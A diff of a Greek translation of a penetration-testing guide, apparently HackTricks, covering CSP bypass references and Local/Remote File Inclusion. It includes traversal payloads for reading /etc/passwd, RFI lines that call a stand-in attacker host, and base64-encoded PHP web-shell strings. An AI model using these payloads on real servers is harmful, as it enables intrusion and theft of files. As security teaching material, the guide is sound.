@ -719,12 +738,12 @@ iconURL:"https:"+your_data+"example.com"
})
)
```
## Έλεγχος Πολιτικών CSP Online
## Έλεγχος Πολιτικών CSP στο διαδίκτυο
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Αυτόματη Δημιουργία CSP
## Αυτόματη δημιουργία CSP
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
@ -738,6 +757,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

View File

@ -4,22 +4,22 @@
## File Inclusion
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από απομακρυσμένο server (Καλύτερο: Μπορείς να γράψεις τον κώδικα και ο server θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
**Local File Inclusion (LFI):** Ο server φορτώνει ένα τοπικό αρχείο.
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από έναν απομακρυσμένο server (Best: You can write the code and the server will execute it). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
**Local File Inclusion (LFI):** Ο server φορτώνει ένα τοπικό file.
Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει ποιο αρχείο θα φορτώσει ο server.
Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει το file που πρόκειται να φορτωθεί από τον server.
Ευπαθείς **PHP functions**: require, require_once, include, include_once
Ευάλωτες **PHP functions**: require, require_once, include, include_once
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Ένα ενδιαφέρον εργαλείο για να εκμεταλλευτείς αυτή την ευπάθεια: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE αρχεία
## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
Συνδυάζοντας διάφορες *nix LFI λίστες και προσθέτοντας περισσότερες διαδρομές δημιούργησα αυτήν:
**Συνδυάζοντας διάφορες \*nix LFI λίστες και προσθέτοντας περισσότερες διαδρομές δημιούργησα αυτήν:**
{{#ref}}
@ -29,11 +29,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Δοκίμασε επίσης να αλλάξεις `/` με `\`\
Δοκίμασε επίσης να προσθέσεις `../../../../../`
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξετε αν η ευπάθεια υπάρχει) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελεγχθεί αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Συγχώνευση διαφορετικών wordlists:
Merge of different wordlists:
{{#ref}}
@ -43,7 +43,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Δοκίμασε επίσης να αλλάξεις `/` με `\`\
Δοκίμασε επίσης να αφαιρέσεις `C:/` και να προσθέσεις `../../../../../`
Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξετε αν η ευπάθεια υπάρχει) μπορεί να βρεθεί [εδώ](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελεγχθεί αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
@ -51,7 +51,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
## Βασικά LFI και bypasses
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν να εφαρμοστούν και σε Remote File Inclusion επίσης (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass την προσθήκη επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $\_GET\['param']."php")
Bypass της προσθήκης επιπλέον χαρακτήρων στο τέλος της δοθείσας συμβολοσειράς (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Αυτό έχει **επιλυθεί από PHP 5.4**
### **Κωδικοποίηση**
### **Encoding**
Μπορείτε να χρησιμοποιήσετε μη-τυπικές κωδικοποιήσεις όπως double URL encode (και άλλα):
Μπορείτε να χρησιμοποιήσετε μη-τυπικά encodings όπως double URL encode (και άλλα):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Από υπάρχον φάκελο
Ίσως το back-end να ελέγχει τη διαδρομή του φακέλου:
Ίσως το back-end ελέγχει τη διαδρομή του φακέλου:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Εξερεύνηση Καταλόγων του Συστήματος Αρχείων σε έναν server
### Εξερεύνηση καταλόγων του συστήματος αρχείων σε έναν διακομιστή
Το σύστημα αρχείων ενός server μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω περιγράφεται μια αναλυτική μέθοδος για να το επιτύχετε:
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για τον εντοπισμό καταλόγων, όχι μόνο αρχείων, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους των καταλόγων και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω υπάρχει μια λεπτομερής μέθοδος για να το πετύχετε:
1. **Προσδιορίστε το Βάθος του Καταλόγου:** Προσδιορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει εάν ο server βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να είναι δομημένο ως εξής, υποδεικνύοντας βάθος τρία:
1. **Καθορισμός Βάθους Καταλόγου:** Προσδιορίστε το βάθος του τρέχοντος καταλόγου κάνοντας επιτυχή ανάκτηση του αρχείου `/etc/passwd` (ισχύει αν ο διακομιστής βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να έχει τη δομή παρακάτω, υποδεικνύοντας βάθος τριών:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Ανίχνευση Φακέλων:** Πρόσθεσε το όνομα του υποψιαζόμενου φακέλου (π.χ., `private`) στο URL, στη συνέχεια επέστρεψε στο `/etc/passwd`. Το πρόσθετο επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
2. **Έλεγχος φακέλων:** Προσθέστε το όνομα του ύποπτου φακέλου (π.χ., `private`) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί αύξηση του βάθους κατά ένα:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει εάν ο φάκελος υπάρχει:
- **Σφάλμα / Χωρίς έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στη συγκεκριμένη θέση.
- **Περιεχόμενο του `/etc/passwd`:** Η ύπαρξη του φακέλου `private` επιβεβαιώνεται.
4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να διερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
3. **Ερμηνεύστε τα Αποτελέσματα:** Η απάντηση του διακομιστή δείχνει αν ο φάκελος υπάρχει:
- **Σφάλμα / Καμία Έξοδος:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
- **Περιεχόμενο του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να ερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Local File Inclusion (LFI).
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες του συστήματος αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν κατάλογο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
Για να εξερευνήσετε καταλόγους σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν κατάλογο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Το Path truncation είναι μια μέθοδος που χρησιμοποιείται για να χειραγωγήσει μονοπάτια αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των μονοπατιών αρχείων. Ο στόχος είναι να δημιουργηθεί ένα μονοπάτι αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
Path truncation είναι μια μέθοδος που χρησιμοποιείται για τη χειραγώγηση διαδρομών αρχείων σε εφαρμογές web. Συχνά χρησιμοποιείται για την πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
Στην PHP, διάφορες αναπαραστάσεις ενός μονοπατιού αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
Στο PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευμένο αρχείο.
- Παρομοίως, εάν το `.php` προστεθεί σε ένα μονοπάτι αρχείου (όπως `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελαύνεται.
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
- Ομοίως, αν προσαρτηθεί `.php` σε μια διαδρομή αρχείου (π.χ. `shellcode.php`), η προσθήκη `/.` στο τέλος δεν θα αλλάξει το προσπελασμένο αρχείο.
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιηθεί το path truncation για πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε το path truncation για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -127,13 +127,13 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
```
Σε αυτά τα σενάρια, ο αριθμός των traversals που απαιτούνται μπορεί να είναι περίπου 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για την περιήγηση στο σύστημα αρχείων, αγνοώντας στην πράξη τις συμβολοσειρές που προσθέτει ο διακομιστής.
- **Determining the Required Number of Traversals**: Μέσω δοκιμής και σφάλματος, μπορεί κανείς να βρει τον ακριβή αριθμό των `../` ακολουθιών που χρειάζονται για να φτάσει στον root κατάλογο και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά το επιθυμητό μονοπάτι (`/etc/passwd`) παραμένει ανέπαφο.
- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινάει η διαδρομή με έναν μη υπάρχοντα κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιηθούν οι απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή.
- **Using Dot Segments and Additional Characters**: Σειρές traversal (`../`) σε συνδυασμό με επιπλέον dot segments και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας στην πράξη τις προσαρτημένες συμβολοσειρές από τον διακομιστή.
- **Determining the Required Number of Traversals**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να φτάσει στον root κατάλογο και στη συνέχεια στο `/etc/passwd`, εξασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
- **Starting with a Fake Directory**: Είναι συνηθισμένη πρακτική να ξεκινά η διαδρομή με έναν μη-υπάρχοντα κατάλογο (π.χ. `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να ικανοποιήσει τις απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή.
Κατά την εφαρμογή τεχνικών path truncation, είναι κρίσιμο να κατανοήσετε τη συμπεριφορά ανάλυσης διαδρομών του διακομιστή και τη δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο το testing για να βρεθεί η πιο αποτελεσματική μέθοδος.
Όταν εφαρμόζονται path truncation techniques, είναι κρίσιμο να κατανοηθεί η συμπεριφορά της ανάλυσης διαδρομών από τον διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και συχνά είναι απαραίτητο να γίνουν δοκιμές για να βρεθεί η πιο αποτελεσματική μέθοδος.
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
```
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση μπορείτε να include ένα PHP file από τον server σας και να αποκτήσετε RCE:
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή **`allow_url_include`** είναι **Off.** Πρέπει να είναι **On** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα PHP αρχείο από τον διακομιστή σας και να αποκτήσετε RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε, για παράδειγμα, το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE:
Εάν για κάποιο λόγο το **`allow_url_include`** είναι **Ενεργό**, αλλά το PHP φιλτράρει την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), μπορείτε να χρησιμοποιήσετε, για παράδειγμα, το data protocol με base64 για να αποκωδικοποιήσετε έναν b64 PHP κώδικα και να αποκτήσετε RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο attacker χρειαζόταν μια συμβολοσειρά που τελείωνε σε `.txt`, έτσι η συμβολοσειρά τελειώνει με αυτήν και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και επομένως, θα εκτελεστεί).
>
> Another example **μη χρησιμοποιώντας το πρωτόκολλο `php://`** θα ήταν:
> Στον προηγούμενο κώδικα, το τελικό `+.txt` προστέθηκε επειδή ο επιτιθέμενος χρειάστηκε μια συμβολοσειρά που τελειώνει σε `.txt`, έτσι η συμβολοσειρά τελειώνει με αυτό και μετά το b64 decode εκείνο το μέρος θα επιστρέψει απλώς άχρηστα δεδομένα και ο πραγματικός PHP κώδικας θα συμπεριληφθεί (και επομένως, εκτελεστεί).
Another example **not using the `php://` protocol** would be:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python Root element
## Python ριζικό στοιχείο
Σε Python, σε έναν κώδικα όπως ο εξής:
Σε python, σε έναν κώδικα σαν τον παρακάτω:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Αν ο χρήστης περάσει ένα **absolute path** στο **`file_name`**, το **προηγούμενο path απλά αφαιρείται**:
Αν ο χρήστης περάσει μια **απόλυτη διαδρομή** στο **`file_name`**, η **προηγούμενη διαδρομή απλώς αφαιρείται**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Είναι η αναμενόμενη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
Αυτό είναι η αναμενόμενη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Εάν ένα στοιχείο είναι ένα απόλυτο μονοπάτι, όλα τα προηγούμενα στοιχεία αγνοούνται και η σύνδεση συνεχίζεται από το απόλυτο στοιχείο μονοπατιού.
> Εάν ένα στοιχείο είναι απόλυτη διαδρομή, όλα τα προηγούμενα στοιχεία απορρίπτονται και η σύνδεση συνεχίζεται από το στοιχείο της απόλυτης διαδρομής.
## Java Λίστα καταλόγων
Φαίνεται πως αν έχετε ένα Path Traversal σε Java και **ζητήσετε έναν κατάλογο** αντί για αρχείο, θα επιστραφεί μια **λίστα του καταλόγου**. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο ξέρω).
Φαίνεται πως αν έχετε ένα Path Traversal σε Java και **ζητήσετε έναν κατάλογο** αντί για αρχείο, **επιστρέφεται μια λίστα του καταλόγου**. Αυτό δεν συμβαίνει σε άλλες γλώσσες (afaik).
## Κορυφαίες 25 παράμετροι
## Top 25 παράμετροι
Ακολουθεί λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) ευπάθειες (από [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Ακολουθεί λίστα με τις κορυφαίες 25 παραμέτρους που θα μπορούσαν να είναι ευάλωτες σε local file inclusion (LFI) vulnerabilities (από [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,18 +211,18 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
?mod={payload}
?conf={payload}
```
## LFI / RFI χρησιμοποιώντας PHP wrappers & protocols
## LFI / RFI using PHP wrappers & protocols
### php://filter
PHP filters επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν αυτά διαβαστούν ή εγγραφούν. Υπάρχουν 5 κατηγορίες φίλτρων:
Οι PHP φίλτρα επιτρέπουν την εκτέλεση βασικών **λειτουργιών τροποποίησης στα δεδομένα** πριν αυτά διαβαστούν ή γραφτούν. Υπάρχουν 5 κατηγορίες φίλτρων:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Αφαιρεί tags από τα δεδομένα (ό,τι βρίσκεται ανάμεσα στους χαρακτήρες "<" και ">")
- Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP
- `string.strip_tags`: Αφαιρεί ετικέτες από τα δεδομένα (οτιδήποτε μεταξύ των χαρακτήρων "<" και ">")
- Σημειώστε ότι αυτό το φίλτρο έχει αφαιρεθεί από τις σύγχρονες εκδόσεις του PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
@ -231,18 +231,18 @@ PHP filters επιτρέπουν την εκτέλεση βασικών **λει
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση (`convert.iconv.<input_enc>.<output_enc>`). Για να πάρετε τη **λίστα όλων των κωδικοποιήσεων** που υποστηρίζονται τρέξτε στην κονσόλα: `iconv -l`
> [!WARNING]
> Καταχρηστική χρήση του φίλτρου μετατροπής `convert.iconv.*` μπορεί να σας επιτρέψει να **παράγετε αυθαίρετο κείμενο**, το οποίο μπορεί να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή για να κάνετε μια συνάρτηση όπως include να επεξεργαστεί αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Καταχρηστικά χρησιμοποιώντας το `convert.iconv.*` conversion filter μπορείτε να **παράγετε αυθαίρετο κείμενο**, το οποίο μπορεί να είναι χρήσιμο για την εγγραφή αυθαίρετου κειμένου ή για να αναγκάσετε μια συνάρτηση όπως include να επεξεργαστεί αυθαίρετο κείμενο. Για περισσότερες πληροφορίες δείτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε μεγάλο όγκο πληροφοριών)
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (useful if exfiltrating a lot of info)
- `zlib.inflate`: Αποσυμπιέζει τα δεδομένα
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Απαρχαιωμένο
- `mdecrypt.*` : Απαρχαιωμένο
- `mcrypt.*` : Αποσυρμένο
- `mdecrypt.*` : Αποσυρμένο
- Other Filters
- Τρέχοντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **μη αναμενόμενα φίλτρα**:
- `consumed`
- `dechunk`: αντιστρέφει το HTTP chunked encoding
- `dechunk`: αντιστρέφει την HTTP chunked κωδικοποίηση
- `convert.*`
```php
# String Filters
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Το μέρος "php://filter" δεν είναι ευαίσθητο σε πεζά/κεφαλαία
> Το μέρος "php://filter" δεν κάνει διάκριση πεζών/κεφαλαίων
### Using php filters as oracle to read arbitrary files
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να επιστραφεί η έξοδος από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration of the file (char by char) using php filters** ως oracle. Αυτό συμβαίνει επειδή τα php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε το php να ρίξει exception.
[**Σε αυτή την ανάρτηση**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για την ανάγνωση ενός local αρχείου χωρίς να επιστραφεί το output από τον server. Αυτή η τεχνική βασίζεται σε μια **boolean exfiltration του αρχείου (char by char) χρησιμοποιώντας php filters** ως oracle. Αυτό συμβαίνει επειδή τα php filters μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε το php να πετάξει exception.
Στο αρχικό post θα βρείτε αναλυτική εξήγηση της τεχνικής, αλλά εδώ είναι μια σύντομη περίληψη:
Στην original post θα βρείτε μία λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια γρήγορη περίληψη:
- Χρησιμοποιήστε τον codec **`UCS-4LE`** για να αφήσετε τον πρώτο χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν ο αρχικός χαρακτήρας μαντευτεί σωστά** που το php θα προκαλέσει **error**
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι hexadecimal**, οπότε μπορούμε να γνωρίζουμε αν ο πρώτος χαρακτήρας είναι hex.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα filters ανάλογα με τον μαντεμένο χαρακτήρα), θα μας επιτρέψει να μαντέψουμε έναν χαρακτήρα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετασχηματίσεις ώστε να μην είναι πλέον δεκαεξαδικός χαρακτήρας. Εάν είναι hex, το dechunk δεν το διαγράφει και η αρχική "βόμβα" θα προκαλέσει php error.
- Ο codec **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι `a` για παράδειγμα, γιατί αν εφαρμόσουμε 6 φορές αυτόν τον codec a->b->c->d->e->f->g ο χαρακτήρας δεν είναι πλέον δεκαεξαδικός, επομένως το dechunk δεν τον διαγράφει και το php error ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή είναι δυνατόν να leak άλλους χαρακτήρες όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να τον base64 encode και να leak τα 2 πρώτα γράμματα για να εξαχθεί ο αριθμός.
- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από τον αρχικό χαρακτήρα**. Χρησιμοποιώντας order memory filters όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξει η σειρά των χαρακτήρων και να μπουν στην πρώτη θέση άλλα γράμματα του κειμένου.
